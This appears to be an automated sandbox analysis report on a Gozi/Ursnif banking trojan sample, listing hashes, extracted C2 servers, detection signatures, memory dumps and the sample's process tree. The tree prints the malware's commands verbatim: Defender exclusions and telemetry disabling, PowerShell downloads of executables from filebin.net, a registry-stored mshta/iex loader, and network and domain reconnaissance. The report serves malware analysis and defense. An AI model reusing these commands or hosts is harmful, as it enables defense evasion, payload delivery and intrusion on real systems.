Analysis

  • max time kernel
    150s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    22/03/2022, 14:51

General

  • Target

    6239dfea99c25.exe

  • Size

    154KB

  • MD5

    b5946ff13e7698c7e2f26491885ddaab

  • SHA1

    5a30f2c32c05cdf7ea86a916bb7b529c647e56b4

  • SHA256

    b6814794481de92b96493819677c96320d500487b82fd6eb72018faba8a831eb

  • SHA512

    4b296cc73916bf75bc1ab0feadf076b1794a88ba83663c1803e3342b14ff223b85f4d27b86c244088aa8f3eef309b1948f0db9ff71775f7d6e7759ca76b6dca7

Malware Config

Extracted

Family

gozi_ifsb

Botnet

3000

C2

config.edge.skype.com

194.76.226.200

giporedtrip.at

habpfans.at

31.214.157.187

Attributes
  • base_path

    /drew/

  • build

    250225

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi_ifsb

Botnet

3000

C2

config.edge.skype.com

194.76.226.200

giporedtrip.at

habpfans.at

31.214.157.187

Attributes
  • base_path

    /images/

  • build

    250225

  • exe_type

    worker

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain
rsa_pubkey.plain

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

    suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

  • suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

    suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

  • suricata: ET MALWARE Ursnif Variant CnC Beacon

    suricata: ET MALWARE Ursnif Variant CnC Beacon

  • suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

    suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

  • suricata: ET MALWARE Ursnif Variant CnC Data Exfil

    suricata: ET MALWARE Ursnif Variant CnC Data Exfil

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Discovers systems in the same network 1 TTPs 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3544
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:3272
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
          PID:3840
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2688
          • C:\Users\Admin\AppData\Local\Temp\6239dfea99c25.exe
            "C:\Users\Admin\AppData\Local\Temp\6239dfea99c25.exe"
            2⤵
            • Adds Run key to start application
            • Suspicious use of WriteProcessMemory
            PID:1488
            • C:\Windows\SYSTEM32\cmd.exe
              cmd /c bruhad.bat
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1708
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -command "Add-MpPreference -ExclusionPath "C:\Users"
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2252
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -command "Invoke-WebRequest -uri https://filebin.net/ezig0gb1jw3em8r7/looad.exe -o looad.exe"
                4⤵
                • Blocklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4524
              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\looad.exe
                looad.exe
                4⤵
                • Executes dropped EXE
                • Checks computer location settings
                • Suspicious use of WriteProcessMemory
                PID:4712
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\65BC.tmp\65BD.tmp\65BE.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\looad.exe"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1608
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "Remove-MpThreat"
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1816
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "Set-MpPreference -ExclusionExtension exe"
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4848
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "Add-MpPreference -ExclusionPath "C:\Users"
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2932
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "Set-MpPreference -MAPSReporting 0ΓÇï"
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:228
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    PowerShell -command "Set-MpPreference -SubmitSamplesConsent 2"ΓÇï
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2956
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "Invoke-WebRequest -uri https://filebin.net/ezig0gb1jw3em8r7/load.exe -o load.exe"
                    6⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2332
                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\load.exe
                    load.exe
                    6⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:872
          • C:\Windows\System32\mshta.exe
            "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Y03p='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Y03p).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\3B357854-5E29-2581-409F-72297443C66D\\\PlayStop'));if(!window.flag)close()</script>"
            2⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:404
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xadjxtwdw -value gp; new-alias -name lhnwkd -value iex; lhnwkd ([System.Text.Encoding]::ASCII.GetString((xadjxtwdw "HKCU:Software\AppDataLow\Software\Microsoft\3B357854-5E29-2581-409F-72297443C66D").StopLocal))
              3⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1524
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x3inmo35\x3inmo35.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:5048
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2572.tmp" "c:\Users\Admin\AppData\Local\Temp\x3inmo35\CSCAD89A661A4034B56BD98BEBDC6FA94CA.TMP"
                  5⤵
                    PID:4536
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3kgaxgp0\3kgaxgp0.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1816
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES268C.tmp" "c:\Users\Admin\AppData\Local\Temp\3kgaxgp0\CSC6E24615EF38442F7BFB7EE57DB209138.TMP"
                    5⤵
                      PID:4216
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\load.exe"
                2⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:2296
                • C:\Windows\system32\PING.EXE
                  ping localhost -n 5
                  3⤵
                  • Runs ping.exe
                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                  PID:2584
              • C:\Windows\system32\cmd.exe
                cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\EE19.bi1"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4848
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:220
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\EE19.bi1"
                  2⤵
                    PID:920
                  • C:\Windows\system32\cmd.exe
                    cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                    2⤵
                      PID:4144
                      • C:\Windows\system32\systeminfo.exe
                        systeminfo.exe
                        3⤵
                        • Gathers system information
                        PID:1988
                    • C:\Windows\syswow64\cmd.exe
                      "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                      2⤵
                        PID:1912
                      • C:\Windows\system32\cmd.exe
                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                        2⤵
                          PID:3596
                        • C:\Windows\system32\cmd.exe
                          cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                          2⤵
                            PID:3664
                            • C:\Windows\system32\net.exe
                              net view
                              3⤵
                              • Discovers systems in the same network
                              PID:4612
                          • C:\Windows\system32\cmd.exe
                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                            2⤵
                              PID:1672
                            • C:\Windows\system32\cmd.exe
                              cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                              2⤵
                                PID:1808
                                • C:\Windows\system32\nslookup.exe
                                  nslookup 127.0.0.1
                                  3⤵
                                    PID:3988
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                  2⤵
                                    PID:4616
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                    2⤵
                                      PID:3556
                                      • C:\Windows\system32\tasklist.exe
                                        tasklist.exe /SVC
                                        3⤵
                                        • Enumerates processes with tasklist
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3124
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                      2⤵
                                        PID:4760
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                        2⤵
                                          PID:3920
                                          • C:\Windows\system32\driverquery.exe
                                            driverquery.exe
                                            3⤵
                                              PID:2800
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                            2⤵
                                              PID:2696
                                            • C:\Windows\system32\cmd.exe
                                              cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                              2⤵
                                                PID:2132
                                                • C:\Windows\system32\reg.exe
                                                  reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                                  3⤵
                                                    PID:4148
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                  2⤵
                                                    PID:4904
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                    2⤵
                                                      PID:5088
                                                      • C:\Windows\system32\net.exe
                                                        net config workstation
                                                        3⤵
                                                          PID:4236
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 config workstation
                                                            4⤵
                                                              PID:2100
                                                        • C:\Windows\system32\cmd.exe
                                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                          2⤵
                                                            PID:4536
                                                          • C:\Windows\system32\cmd.exe
                                                            cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                            2⤵
                                                              PID:4216
                                                              • C:\Windows\system32\nltest.exe
                                                                nltest /domain_trusts
                                                                3⤵
                                                                  PID:1992
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                                2⤵
                                                                  PID:1436
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                                  2⤵
                                                                    PID:1980
                                                                    • C:\Windows\system32\nltest.exe
                                                                      nltest /domain_trusts /all_trusts
                                                                      3⤵
                                                                        PID:3696
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                                      2⤵
                                                                        PID:2384
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                                        2⤵
                                                                          PID:4664
                                                                          • C:\Windows\system32\net.exe
                                                                            net view /all /domain
                                                                            3⤵
                                                                            • Discovers systems in the same network
                                                                            PID:4576
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                                          2⤵
                                                                            PID:4328
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                                            2⤵
                                                                              PID:2292
                                                                              • C:\Windows\system32\net.exe
                                                                                net view /all
                                                                                3⤵
                                                                                • Discovers systems in the same network
                                                                                PID:4120
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                                              2⤵
                                                                                PID:2728
                                                                              • C:\Windows\system32\cmd.exe
                                                                                cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\8D5F.bin1 > C:\Users\Admin\AppData\Local\Temp\8D5F.bin & del C:\Users\Admin\AppData\Local\Temp\8D5F.bin1"
                                                                                2⤵
                                                                                  PID:696

                                                                              Network

                                                                                    MITRE ATT&CK Enterprise v6

                                                                                    Replay Monitor

                                                                                    Loading Replay Monitor...

                                                                                    Downloads

                                                                                    • memory/228-159-0x00007FFC2C5F0000-0x00007FFC2D0B1000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/1524-176-0x000001DA56E46000-0x000001DA56E48000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/1524-175-0x000001DA56E43000-0x000001DA56E45000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/1524-173-0x000001DA3DC70000-0x000001DA3E731000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/1524-174-0x000001DA56E40000-0x000001DA56E42000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/1524-187-0x000001DA56D80000-0x000001DA56DC4000-memory.dmp

                                                                                      Filesize

                                                                                      272KB

                                                                                    • memory/1816-147-0x00007FFC2C5F0000-0x00007FFC2D0B1000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/1912-203-0x0000000000AB0000-0x0000000000B5A000-memory.dmp

                                                                                      Filesize

                                                                                      680KB

                                                                                    • memory/1912-202-0x0000000000DB6B20-0x0000000000DB6B24-memory.dmp

                                                                                      Filesize

                                                                                      4B

                                                                                    • memory/2252-136-0x0000011CE9F16000-0x0000011CE9F18000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2252-134-0x0000011CE9F18000-0x0000011CE9F19000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/2252-135-0x0000011CE9F13000-0x0000011CE9F15000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2252-133-0x0000011CE9F10000-0x0000011CE9F12000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2252-132-0x00007FFC2C5F0000-0x00007FFC2D0B1000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/2252-131-0x0000011CEAD90000-0x0000011CEADB2000-memory.dmp

                                                                                      Filesize

                                                                                      136KB

                                                                                    • memory/2296-192-0x000001CA81470000-0x000001CA81471000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/2296-193-0x000001CA815A0000-0x000001CA81658000-memory.dmp

                                                                                      Filesize

                                                                                      736KB

                                                                                    • memory/2332-165-0x00007FFC2C5F0000-0x00007FFC2D0B1000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/2332-166-0x00000216A6830000-0x00000216A6832000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2332-167-0x00000216A6833000-0x00000216A6835000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2332-168-0x00000216A6836000-0x00000216A6838000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2584-197-0x000002B90CE90000-0x000002B90CF48000-memory.dmp

                                                                                      Filesize

                                                                                      736KB

                                                                                    • memory/2584-196-0x000002B90CC30000-0x000002B90CC31000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/2688-190-0x00000000084A0000-0x0000000008558000-memory.dmp

                                                                                      Filesize

                                                                                      736KB

                                                                                    • memory/2688-189-0x00000000013B0000-0x00000000013B1000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/2932-156-0x00007FFC2C5F0000-0x00007FFC2D0B1000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/2932-157-0x0000018D7B613000-0x0000018D7B615000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2932-155-0x0000018D7B610000-0x0000018D7B612000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2956-163-0x0000016943BE3000-0x0000016943BE5000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2956-161-0x0000016943BE0000-0x0000016943BE2000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2956-162-0x00007FFC2C5F0000-0x00007FFC2D0B1000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/3272-199-0x000001F490F80000-0x000001F491038000-memory.dmp

                                                                                      Filesize

                                                                                      736KB

                                                                                    • memory/3272-198-0x000001F48EBD0000-0x000001F48EBD1000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/3544-191-0x00000137F9700000-0x00000137F97B8000-memory.dmp

                                                                                      Filesize

                                                                                      736KB

                                                                                    • memory/3544-188-0x00000137F97C0000-0x00000137F97C1000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/3840-194-0x000001DF9EDD0000-0x000001DF9EDD1000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/3840-195-0x000001DFA1600000-0x000001DFA16B8000-memory.dmp

                                                                                      Filesize

                                                                                      736KB

                                                                                    • memory/4524-141-0x0000025655F43000-0x0000025655F45000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/4524-139-0x00007FFC2C5F0000-0x00007FFC2D0B1000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/4524-140-0x0000025655F40000-0x0000025655F42000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/4524-142-0x0000025655F46000-0x0000025655F48000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/4848-153-0x00000224A5D78000-0x00000224A5D79000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/4848-149-0x00007FFC2C5F0000-0x00007FFC2D0B1000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/4848-151-0x00000224A5D73000-0x00000224A5D75000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/4848-150-0x00000224A5D70000-0x00000224A5D72000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/4848-152-0x00000224A5D76000-0x00000224A5D78000-memory.dmp

                                                                                      Filesize

                                                                                      8KB